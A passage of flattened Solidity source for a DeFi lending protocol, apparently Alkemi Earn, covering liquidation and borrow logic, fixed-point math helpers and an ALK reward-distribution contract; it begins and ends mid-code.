.updatedBorrowBalance_TargetUnderwaterAsset; borrowBalance_TargeUnderwaterAsset.interestIndex = localResults .newBorrowIndex_UnderwaterAsset; localResults .startingSupplyBalance_TargetCollateralAsset = supplyBalance_TargetCollateralAsset .principal; // save for use in event supplyBalance_TargetCollateralAsset.principal = localResults .updatedSupplyBalance_TargetCollateralAsset; supplyBalance_TargetCollateralAsset.interestIndex = localResults .newSupplyIndex_CollateralAsset; localResults .startingSupplyBalance_LiquidatorCollateralAsset = supplyBalance_LiquidatorCollateralAsset .principal; // save for use in event supplyBalance_LiquidatorCollateralAsset.principal = localResults .updatedSupplyBalance_LiquidatorCollateralAsset; supplyBalance_LiquidatorCollateralAsset.interestIndex = localResults .newSupplyIndex_CollateralAsset; // We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above) if (assetBorrow != wethAddress) { // WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically revertEtherToUser(msg.sender, msg.value); err = doTransferIn( assetBorrow, localResults.liquidator, localResults.closeBorrowAmount_TargetUnderwaterAsset ); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.LIQUIDATE_TRANSFER_IN_FAILED); } } else { if (msg.value == requestedAmountClose) { uint256 supplyError = supplyEther( localResults.liquidator, localResults.closeBorrowAmount_TargetUnderwaterAsset ); //Repay excess funds if (localResults.reimburseAmount > 0) { revertEtherToUser( localResults.liquidator, localResults.reimburseAmount ); } if (supplyError != 0) { revertEtherToUser(msg.sender, msg.value); return fail( Error.WETH_ADDRESS_NOT_SET_ERROR, FailureInfo.WETH_ADDRESS_NOT_SET_ERROR ); } } else { revertEtherToUser(msg.sender, msg.value); return fail( Error.ETHER_AMOUNT_MISMATCH_ERROR, FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR ); } } supplyOriginationFeeAsAdmin( assetBorrow, localResults.liquidator, localResults.closeBorrowAmount_TargetUnderwaterAsset, localResults.newSupplyIndex_UnderwaterAsset ); emit BorrowLiquidated( localResults.targetAccount, localResults.assetBorrow, localResults.currentBorrowBalance_TargetUnderwaterAsset, localResults.closeBorrowAmount_TargetUnderwaterAsset, localResults.liquidator, localResults.assetCollateral, localResults.seizeSupplyAmount_TargetCollateralAsset ); return uint256(Error.NO_ERROR); // success } /** * @dev This should ONLY be called if market is supported. It returns shortfall / [Oracle price for the borrow * (collateralRatio - liquidationDiscount - 1)] * If the market isn't supported, we support liquidation of asset regardless of shortfall because we want borrows of the unsupported asset to be closed. * Note that if collateralRatio = liquidationDiscount + 1, then the denominator will be zero and the function will fail with DIVISION_BY_ZERO. * @return Return values are expressed in 1e18 scale */ function calculateDiscountedRepayToEvenAmount( address targetAccount, Exp memory underwaterAssetPrice, address assetBorrow ) internal view returns (Error, uint256) { Error err; Exp memory _accountLiquidity; // unused return value from calculateAccountLiquidity Exp memory accountShortfall_TargetUser; Exp memory collateralRatioMinusLiquidationDiscount; // collateralRatio - liquidationDiscount Exp memory discountedCollateralRatioMinusOne; // collateralRatioMinusLiquidationDiscount - 1, aka collateralRatio - liquidationDiscount - 1 Exp memory discountedPrice_UnderwaterAsset; Exp memory rawResult; // we calculate the target user's shortfall, denominated in Ether, that the user is below the collateral ratio ( err, _accountLiquidity, accountShortfall_TargetUser ) = calculateAccountLiquidity(targetAccount); if (err != Error.NO_ERROR) { return (err, 0); } (err, collateralRatioMinusLiquidationDiscount) = subExp( collateralRatio, liquidationDiscount ); if (err != Error.NO_ERROR) { return (err, 0); } (err, discountedCollateralRatioMinusOne) = subExp( collateralRatioMinusLiquidationDiscount, Exp({mantissa: mantissaOne}) ); if (err != Error.NO_ERROR) { return (err, 0); } (err, discountedPrice_UnderwaterAsset) = mulExp( underwaterAssetPrice, discountedCollateralRatioMinusOne ); // calculateAccountLiquidity multiplies underwaterAssetPrice by collateralRatio // discountedCollateralRatioMinusOne < collateralRatio // so if underwaterAssetPrice * collateralRatio did not overflow then // underwaterAssetPrice * discountedCollateralRatioMinusOne can't overflow either assert(err == Error.NO_ERROR); /* The liquidator may not repay more than what is allowed by the closeFactor */ uint256 borrowBalance = getBorrowBalance(targetAccount, assetBorrow); Exp memory maxClose; (err, maxClose) = mulScalar( Exp({mantissa: closeFactorMantissa}), borrowBalance ); if (err != Error.NO_ERROR) { return (err, 0); } (err, rawResult) = divExp(maxClose, discountedPrice_UnderwaterAsset); // It's theoretically possible an asset could have such a low price that it truncates to zero when discounted. if (err != Error.NO_ERROR) { return (err, 0); } return (Error.NO_ERROR, truncate(rawResult)); } /** * @dev discountedBorrowDenominatedCollateral = [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) * @return Return values are expressed in 1e18 scale */ function calculateDiscountedBorrowDenominatedCollateral( Exp memory underwaterAssetPrice, Exp memory collateralPrice, uint256 supplyCurrent_TargetCollateralAsset ) internal view returns (Error, uint256) { // To avoid rounding issues, we re-order and group the operations so we do 1 division and only at the end // [supplyCurrent * (Oracle price for the collateral)] / [ (1 + liquidationDiscount) * (Oracle price for the borrow) ] Error err; Exp memory onePlusLiquidationDiscount; // (1 + liquidationDiscount) Exp memory supplyCurrentTimesOracleCollateral; // supplyCurrent * Oracle price for the collateral Exp memory onePlusLiquidationDiscountTimesOracleBorrow; // (1 + liquidationDiscount) * Oracle price for the borrow Exp memory rawResult; (err, onePlusLiquidationDiscount) = addExp( Exp({mantissa: mantissaOne}), liquidationDiscount ); if (err != Error.NO_ERROR) { return (err, 0); } (err, supplyCurrentTimesOracleCollateral) = mulScalar( collateralPrice, supplyCurrent_TargetCollateralAsset ); if (err != Error.NO_ERROR) { return (err, 0); } (err, onePlusLiquidationDiscountTimesOracleBorrow) = mulExp( onePlusLiquidationDiscount, underwaterAssetPrice ); if (err != Error.NO_ERROR) { return (err, 0); } (err, rawResult) = divExp( supplyCurrentTimesOracleCollateral, onePlusLiquidationDiscountTimesOracleBorrow ); if (err != Error.NO_ERROR) { return (err, 0); } return (Error.NO_ERROR, truncate(rawResult)); } /** * @dev returns closeBorrowAmount_TargetUnderwaterAsset * (1+liquidationDiscount) * priceBorrow/priceCollateral * @return Return values are expressed in 1e18 scale */ function calculateAmountSeize( Exp memory underwaterAssetPrice, Exp memory collateralPrice, uint256 closeBorrowAmount_TargetUnderwaterAsset ) internal view returns (Error, uint256) { // To avoid rounding issues, we re-order and group the operations to move the division to the end, rather than just taking the ratio of the 2 prices: // underwaterAssetPrice * (1+liquidationDiscount) *closeBorrowAmount_TargetUnderwaterAsset) / collateralPrice // re-used for all intermediate errors Error err; // (1+liquidationDiscount) Exp memory liquidationMultiplier; // assetPrice-of-underwaterAsset * (1+liquidationDiscount) Exp memory priceUnderwaterAssetTimesLiquidationMultiplier; // priceUnderwaterAssetTimesLiquidationMultiplier * closeBorrowAmount_TargetUnderwaterAsset // or, expanded: // underwaterAssetPrice * (1+liquidationDiscount) * closeBorrowAmount_TargetUnderwaterAsset Exp memory finalNumerator; // finalNumerator / priceCollateral Exp memory rawResult; (err, liquidationMultiplier) = addExp( Exp({mantissa: mantissaOne}), liquidationDiscount ); // liquidation discount will be enforced < 1, so 1 + liquidationDiscount can't overflow. assert(err == Error.NO_ERROR); (err, priceUnderwaterAssetTimesLiquidationMultiplier) = mulExp( underwaterAssetPrice, liquidationMultiplier ); if (err != Error.NO_ERROR) { return (err, 0); } (err, finalNumerator) = mulScalar( priceUnderwaterAssetTimesLiquidationMultiplier, closeBorrowAmount_TargetUnderwaterAsset ); if (err != Error.NO_ERROR) { return (err, 0); } (err, rawResult) = divExp(finalNumerator, collateralPrice); if (err != Error.NO_ERROR) { return (err, 0); } return (Error.NO_ERROR, truncate(rawResult)); } /** * @notice Users borrow assets from the protocol to their own address * @param asset The market asset to borrow * @param amount The amount to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(address asset, uint256 amount) public nonReentrant returns (uint256) { if (paused) { return fail(Error.CONTRACT_PAUSED, FailureInfo.BORROW_CONTRACT_PAUSED); } refreshAlkBorrowIndex(asset, msg.sender, false); BorrowLocalVars memory localResults; Market storage market = markets[asset]; Balance storage borrowBalance = borrowBalances[msg.sender][asset]; Error err; uint256 rateCalculationResultCode; // Fail if market not supported if (!market.isSupported) { return fail( Error.MARKET_NOT_SUPPORTED, FailureInfo.BORROW_MARKET_NOT_SUPPORTED ); } // We calculate the newBorrowIndex, user's borrowCurrent and borrowUpdated for the asset (err, localResults.newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED ); } (err, localResults.userBorrowCurrent) = calculateBalance( borrowBalance.principal, borrowBalance.interestIndex, localResults.newBorrowIndex ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED ); } // Calculate origination fee. (err, localResults.borrowAmountWithFee) = calculateBorrowAmountWithFee( amount ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_ORIGINATION_FEE_CALCULATION_FAILED ); } uint256 orgFeeBalance = localResults.borrowAmountWithFee - amount; // Add the `borrowAmountWithFee` to the `userBorrowCurrent` to get `userBorrowUpdated` (err, localResults.userBorrowUpdated) = add( localResults.userBorrowCurrent, localResults.borrowAmountWithFee ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } // We calculate the protocol's totalBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow with fee (err, localResults.newTotalBorrows) = addThenSub( market.totalBorrows, localResults.userBorrowUpdated, borrowBalance.principal ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED ); } // Check customer liquidity ( err, localResults.accountLiquidity, localResults.accountShortfall ) = calculateAccountLiquidity(msg.sender); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED ); } // Fail if customer already has a shortfall if (!isZeroExp(localResults.accountShortfall)) { return fail( Error.INSUFFICIENT_LIQUIDITY, FailureInfo.BORROW_ACCOUNT_SHORTFALL_PRESENT ); } // Would the customer have a shortfall after this borrow (including origination fee)? // We calculate the eth-equivalent value of (borrow amount + fee) of asset and fail if it exceeds accountLiquidity. // This implements: `[(collateralRatio*oraclea*borrowAmount)*(1+borrowFee)] > accountLiquidity` ( err, localResults.ethValueOfBorrowAmountWithFee ) = getPriceForAssetAmountMulCollatRatio( asset, localResults.borrowAmountWithFee ); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.BORROW_AMOUNT_VALUE_CALCULATION_FAILED); } if ( lessThanExp( localResults.accountLiquidity, localResults.ethValueOfBorrowAmountWithFee ) ) { return fail( Error.INSUFFICIENT_LIQUIDITY, FailureInfo.BORROW_AMOUNT_LIQUIDITY_SHORTFALL ); } // Fail gracefully if protocol has insufficient cash localResults.currentCash = getCash(asset); // We need to calculate what the updated cash will be after we transfer out to the user (err, localResults.updatedCash) = sub(localResults.currentCash, amount); if (err != Error.NO_ERROR) { // Note: we ignore error here and call this token insufficient cash return fail( Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED ); } // The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it. // We calculate the newSupplyIndex, but we have newBorrowIndex already (err, localResults.newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED ); } (rateCalculationResultCode, localResults.newSupplyRateMantissa) = market .interestRateModel .getSupplyRate( asset, localResults.updatedCash, localResults.newTotalBorrows ); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo.BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } (rateCalculationResultCode, localResults.newBorrowRateMantissa) = market .interestRateModel .getBorrowRate( asset, localResults.updatedCash, localResults.newTotalBorrows ); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo.BORROW_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // Save market updates market.blockNumber = block.number; market.totalBorrows = localResults.newTotalBorrows; market.supplyRateMantissa = localResults.newSupplyRateMantissa; market.supplyIndex = localResults.newSupplyIndex; market.borrowRateMantissa = localResults.newBorrowRateMantissa; market.borrowIndex = localResults.newBorrowIndex; // Save user updates localResults.startingBalance = borrowBalance.principal; // save for use in `BorrowTaken` event borrowBalance.principal = localResults.userBorrowUpdated; borrowBalance.interestIndex = localResults.newBorrowIndex; originationFeeBalance[msg.sender][asset] += orgFeeBalance; if (asset != wethAddress) { // Withdrawal should happen as Ether directly // We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above) err = doTransferOut(asset, msg.sender, amount); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.BORROW_TRANSFER_OUT_FAILED); } } else { withdrawEther(msg.sender, amount); // send Ether to user } emit BorrowTaken( msg.sender, asset, amount, localResults.startingBalance, localResults.borrowAmountWithFee, borrowBalance.principal ); return uint256(Error.NO_ERROR); // success } /** * @notice supply `amount` of `asset` (which must be supported) to `admin` in the protocol * @dev add amount of supported asset to admin's account * @param asset The market asset to supply * @param amount The amount to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function supplyOriginationFeeAsAdmin( address asset, address user, uint256 amount, uint256 newSupplyIndex ) private { refreshAlkSupplyIndex(asset, admin, false); uint256 originationFeeRepaid = 0; if (originationFeeBalance[user][asset] != 0) { if (amount < originationFeeBalance[user][asset]) { originationFeeRepaid = amount; } else { originationFeeRepaid = originationFeeBalance[user][asset]; } Balance storage balance = supplyBalances[admin][asset]; SupplyLocalVars memory localResults; // Holds all our uint calculation results Error err; // Re-used for every function call that includes an Error in its return value(s). originationFeeBalance[user][asset] -= originationFeeRepaid; (err, localResults.userSupplyCurrent) = calculateBalance( balance.principal, balance.interestIndex, newSupplyIndex ); revertIfError(err); (err, localResults.userSupplyUpdated) = add( localResults.userSupplyCurrent, originationFeeRepaid ); revertIfError(err); // We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply (err, localResults.newTotalSupply) = addThenSub( markets[asset].totalSupply, localResults.userSupplyUpdated, balance.principal ); revertIfError(err); // Save market updates markets[asset].totalSupply = localResults.newTotalSupply; // Save user updates localResults.startingBalance = balance.principal; balance.principal = localResults.userSupplyUpdated; balance.interestIndex = newSupplyIndex; emit SupplyOrgFeeAsAdmin( admin, asset, originationFeeRepaid, localResults.startingBalance, localResults.userSupplyUpdated ); } } /** * @notice Set the address of the Reward Control contract to be triggered to accrue ALK rewards for participants * @param _rewardControl The address of the underlying reward control contract * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function setRewardControlAddress(address _rewardControl) external returns (uint256) { // Check caller = admin require( msg.sender == admin, "SET_REWARD_CONTROL_ADDRESS_ADMIN_CHECK_FAILED" ); require( address(rewardControl) != _rewardControl, "The same Reward Control address" ); require( _rewardControl != address(0), "RewardControl address cannot be empty" ); rewardControl = RewardControlInterface(_rewardControl); return uint256(Error.NO_ERROR); // success } /** * @notice Trigger the underlying Reward Control contract to accrue ALK supply rewards for the supplier on the specified market * @param market The address of the market to accrue rewards * @param supplier The address of the supplier to accrue rewards * @param isVerified Verified / Public protocol */ function refreshAlkSupplyIndex( address market, address supplier, bool isVerified ) internal { if (address(rewardControl) == address(0)) { return; } rewardControl.refreshAlkSupplyIndex(market, supplier, isVerified); } /** * @notice Trigger the underlying Reward Control contract to accrue ALK borrow rewards for the borrower on the specified market * @param market The address of the market to accrue rewards * @param borrower The address of the borrower to accrue rewards * @param isVerified Verified / Public protocol */ function refreshAlkBorrowIndex( address market, address borrower, bool isVerified ) internal { if (address(rewardControl) == address(0)) { return; } rewardControl.refreshAlkBorrowIndex(market, borrower, isVerified); } /** * @notice Get supply and borrows for a market * @param asset The market asset to find balances of * @return updated supply and borrows */ function getMarketBalances(address asset) public view returns (uint256, uint256) { Error err; uint256 newSupplyIndex; uint256 marketSupplyCurrent; uint256 newBorrowIndex; uint256 marketBorrowCurrent; Market storage market = markets[asset]; // Calculate the newSupplyIndex, needed to calculate market's supplyCurrent (err, newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); revertIfError(err); // Use newSupplyIndex and stored principal to calculate the accumulated balance (err, marketSupplyCurrent) = calculateBalance( market.totalSupply, market.supplyIndex, newSupplyIndex ); revertIfError(err); // Calculate the newBorrowIndex, needed to calculate market's borrowCurrent (err, newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); revertIfError(err); // Use newBorrowIndex and stored principal to calculate the accumulated balance (err, marketBorrowCurrent) = calculateBalance( market.totalBorrows, market.borrowIndex, newBorrowIndex ); revertIfError(err); return (marketSupplyCurrent, marketBorrowCurrent); } /** * @dev Function to revert in case of an internal exception */ function revertIfError(Error err) internal pure { require( err == Error.NO_ERROR, "Function revert due to internal exception" ); } } // File: contracts/RewardControlStorage.sol pragma solidity 0.4.24; contract RewardControlStorage { struct MarketState { // @notice The market's last updated alkSupplyIndex or alkBorrowIndex uint224 index; // @notice The block number the index was last updated at uint32 block; } // @notice A list of all markets in the reward program mapped to respective verified/public protocols // @notice true => address[] represents Verified Protocol markets // @notice false => address[] represents Public Protocol markets mapping(bool => address[]) public allMarkets; // @notice The index for checking whether a market is already in the reward program // @notice The first mapping represents verified / public market and the second gives the existence of the market mapping(bool => mapping(address => bool)) public allMarketsIndex; // @notice The rate at which the Reward Control distributes ALK per block uint256 public alkRate; // @notice The portion of alkRate that each market currently receives // @notice The first mapping represents verified / public market and the second gives the alkSpeeds mapping(bool => mapping(address => uint256)) public alkSpeeds; // @notice The ALK market supply state for each market // @notice The first mapping represents verified / public market and the second gives the supplyState mapping(bool => mapping(address => MarketState)) public alkSupplyState; // @notice The ALK market borrow state for each market // @notice The first mapping represents verified / public market and the second gives the borrowState mapping(bool => mapping(address => MarketState)) public alkBorrowState; // @notice The snapshot of ALK index for each market for each supplier as of the last time they accrued ALK // @notice verified/public => market => supplier => supplierIndex mapping(bool => mapping(address => mapping(address => uint256))) public alkSupplierIndex; // @notice The snapshot of ALK index for each market for each borrower as of the last time they accrued ALK // @notice verified/public => market => borrower => borrowerIndex mapping(bool => mapping(address => mapping(address => uint256))) public alkBorrowerIndex; // @notice The ALK accrued but not yet transferred to each participant mapping(address => uint256) public alkAccrued; // @notice To make sure initializer is called only once bool public initializationDone; // @notice The address of the current owner of this contract address public owner; // @notice The proposed address of the new owner of this contract address public newOwner; // @notice The underlying AlkemiEarnVerified contract AlkemiEarnVerified public alkemiEarnVerified; // @notice The underlying AlkemiEarnPublic contract AlkemiEarnPublic public alkemiEarnPublic; // @notice The ALK token address address public alkAddress; // Hard cap on the maximum number of markets uint8 public MAXIMUM_NUMBER_OF_MARKETS; } // File: contracts/ExponentialNoError.sol // Cloned from https://github.com/compound-finance/compound-money-market/blob/master/contracts/Exponential.sol -> Commit id: 241541a pragma solidity 0.4.24; /** * @title Exponential module for storing fixed-precision decimals * @author Compound * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: * `Exp({mantissa: 5100000000000000000})`. */ contract ExponentialNoError { uint256 constant expScale = 1e18; uint256 constant doubleScale = 1e36; uint256 constant halfExpScale = expScale / 2; uint256 constant mantissaOne = expScale; struct Exp { uint256 mantissa; } struct Double { uint256 mantissa; } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) internal pure returns (uint256) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mul_ScalarTruncate(Exp memory a, uint256 scalar) internal pure returns (uint256) { Exp memory product = mul_(a, scalar); return truncate(product); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mul_ScalarTruncateAddUInt( Exp memory a, uint256 scalar, uint256 addend ) internal pure returns (uint256) { Exp memory product = mul_(a, scalar); return add_(truncate(product), addend); } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) internal pure returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) internal pure returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev Checks if left Exp > right Exp. */ function greaterThanExp(Exp memory left, Exp memory right) internal pure returns (bool) { return left.mantissa > right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) internal pure returns (bool) { return value.mantissa == 0; } function safe224(uint256 n, string memory errorMessage) internal pure returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function add_(Exp memory a, Exp memory b) internal pure returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) internal pure returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint256 a, uint256 b) internal pure returns (uint256) { return add_(a, b, "addition overflow"); } function add_( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } function sub_(Exp memory a, Exp memory b) internal pure returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) internal pure returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint256 a, uint256 b) internal pure returns (uint256) { return sub_(a, b, "subtraction underflow"); } function sub_( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) internal pure returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint256 b) internal pure returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint256 a, Exp memory b) internal pure returns (uint256) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) internal pure returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint256 b) internal pure returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint256 a, Double memory b) internal pure returns (uint256) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint256 a, uint256 b) internal pure returns (uint256) { return mul_(a, b, "multiplication overflow"); } function mul_( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) internal pure returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint256 b) internal pure returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint256 a, Exp memory b) internal pure returns (uint256) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) internal pure returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint256 b) internal pure returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint256 a, Double memory b) internal pure returns (uint256) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint256 a, uint256 b) internal pure returns (uint256) { return div_(a, b, "divide by zero"); } function div_( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } function fraction(uint256 a, uint256 b) internal pure returns (Double memory) { return Double({mantissa: div_(mul_(a, doubleScale), b)}); } } // File: contracts/RewardControl.sol pragma solidity 0.4.24; contract RewardControl is RewardControlStorage, RewardControlInterface, ExponentialNoError { /** * Events */ /// @notice Emitted when a new ALK speed is calculated for a market event AlkSpeedUpdated( address indexed market, uint256 newSpeed, bool isVerified ); /// @notice Emitted when ALK is distributed to a supplier event DistributedSupplierAlk( address indexed market, address indexed supplier, uint256 supplierDelta, uint256 supplierAccruedAlk, uint256 supplyIndexMantissa, bool isVerified ); /// @notice Emitted when ALK is distributed to a borrower event DistributedBorrowerAlk( address indexed market, address indexed borrower, uint256 borrowerDelta, uint256 borrowerAccruedAlk, uint256 borrowIndexMantissa, bool isVerified ); /// @notice Emitted when ALK is transferred to a participant event TransferredAlk( address indexed participant, uint256 participantAccrued, address market, bool isVerified ); /// @notice Emitted when the owner of the contract is updated event OwnerUpdate(address indexed owner, address indexed newOwner); /// @notice Emitted when a market is added event MarketAdded( address indexed market, uint256 numberOfMarkets, bool isVerified ); /// @notice Emitted when a market is removed event MarketRemoved( address indexed market, uint256 numberOfMarkets, bool isVerified ); /** * Constants */ /** * Constructor */ /** * @notice `RewardControl` is the contract to calculate and distribute reward tokens * @notice This contract uses Openzeppelin Upgrades plugin to make use of the upgradeability functionality using proxies * @notice Hence this contract has an 'initializer' in place of a 'constructor' * @notice Make sure to add new global variables only in a derived contract of RewardControlStorage, inherited by this contract * @notice Also make sure to do extensive testing while modifying any structs and enums during an upgrade */ function initializer( address _owner, address _alkemiEarnVerified, address _alkemiEarnPublic, address _alkAddress ) public { require( _owner != address(0) && _alkemiEarnVerified != address(0) && _alkemiEarnPublic != address(0) && _alkAddress != address(0), "Inputs cannot be 0x00" ); if (initializationDone == false) { initializationDone = true; owner = _owner; alkemiEarnVerified = AlkemiEarnVerified(_alkemiEarnVerified); alkemiEarnPublic = AlkemiEarnPublic(_alkemiEarnPublic); alkAddress = _alkAddress; // Total Liquidity rewards for 4 years = 70,000,000 // Liquidity per year = 70,000,000/4 = 17,500,000 // Divided by blocksPerYear (assuming 13.3 seconds avg. block time) = 17,500,000/2,371,128 = 7.380453522542860000 // 7380453522542860000 (Tokens scaled by token decimals of 18) divided by 2 (half for lending and half for borrowing) alkRate = 3690226761271430000; MAXIMUM_NUMBER_OF_MARKETS = 16; } } /** * Modifiers */ /** * @notice Make sure that the sender is only the owner of the contract */ modifier onlyOwner() { require(msg.sender == owner, "non-owner"); _; } /** * Public functions */ /** * @notice Refresh ALK supply index for the specified market and supplier * @param market The market whose supply index to update * @param supplier The address of the supplier to distribute ALK to * @param isVerified Specifies if the market is from verified or public protocol */ function refreshAlkSupplyIndex( address market, address supplier, bool isVerified ) external { if (!allMarketsIndex[isVerified][market]) { return; } refreshAlkSpeeds(); updateAlkSupplyIndex(market, isVerified); distributeSupplierAlk(market, supplier, isVerified); } /** * @notice Refresh ALK borrow index for the specified market and borrower * @param market The market whose borrow index to update * @param borrower The address of the borrower to distribute ALK to * @param isVerified Specifies if the market is from verified or public protocol */ function refreshAlkBorrowIndex( address market, address borrower, bool isVerified ) external { if (!allMarketsIndex[isVerified][market]) { return; } refreshAlkSpeeds(); updateAlkBorrowIndex(market, isVerified); distributeBorrowerAlk(market, borrower, isVerified); } /** * @notice Claim all the ALK accrued by holder in all markets * @param holder The address to claim ALK for */ function claimAlk(address holder) external { claimAlk(holder, allMarkets[true], true); claimAlk(holder, allMarkets[false], false); } /** * @notice Claim all the ALK accrued by holder by refreshing the indexes on the specified market only * @param holder The address to claim ALK for * @param market The address of the market to refresh the indexes for * @param isVerified Specifies if the market is from verified or public protocol */ function claimAlk( address holder, address market, bool isVerified ) external { require(allMarketsIndex[isVerified][market], "Market does not exist"); address[] memory markets = new address[](1); markets[0] = market; claimAlk(holder, markets, isVerified); } /** * Private functions */ /** * @notice Recalculate and update ALK speeds for all markets */ function refreshMarketLiquidity() internal view returns (Exp[] memory, Exp memory) { Exp memory totalLiquidity = Exp({mantissa: 0}); Exp[] memory marketTotalLiquidity = new Exp[]( add_(allMarkets[true].length, allMarkets[false].length) ); address currentMarket; uint256 verifiedMarketsLength = allMarkets[true].length; for (uint256 i = 0; i < allMarkets[true].length; i++) { currentMarket = allMarkets[true][i]; uint256 currentMarketTotalSupply = mul_( getMarketTotalSupply(currentMarket, true), alkemiEarnVerified.assetPrices(currentMarket) ); uint256 currentMarketTotalBorrows = mul_( getMarketTotalBorrows(currentMarket, true), alkemiEarnVerified.assetPrices(currentMarket) ); Exp memory currentMarketTotalLiquidity = Exp({ mantissa: add_( currentMarketTotalSupply, currentMarketTotalBorrows ) }); marketTotalLiquidity[i] = currentMarketTotalLiquidity; totalLiquidity = add_(totalLiquidity, currentMarketTotalLiquidity); } for (uint256 j = 0; j < allMarkets[false].length; j++) { currentMarket = allMarkets[false][j]; currentMarketTotalSupply = mul_( getMarketTotalSupply(currentMarket, false), alkemiEarnVerified.assetPrices(currentMarket) ); currentMarketTotalBorrows = mul_( getMarketTotalBorrows(currentMarket, false), alkemiEarnVerified.assetPrices(currentMarket) ); currentMarketTotalLiquidity = Exp({ mantissa: add_( currentMarketTotalSupply, currentMarketTotalBorrows ) }); marketTotalLiquidity[ verifiedMarketsLength + j ] = currentMarketTotalLiquidity; totalLiquidity = add_(totalLiquidity, currentMarketTotalLiquidity); } return (marketTotalLiquidity, totalLiquidity); } /** * @notice Recalculate and update ALK speeds for all markets */ function refreshAlkSpeeds() public { address currentMarket; ( Exp[] memory marketTotalLiquidity, Exp memory totalLiquidity ) = refreshMarketLiquidity(); uint256 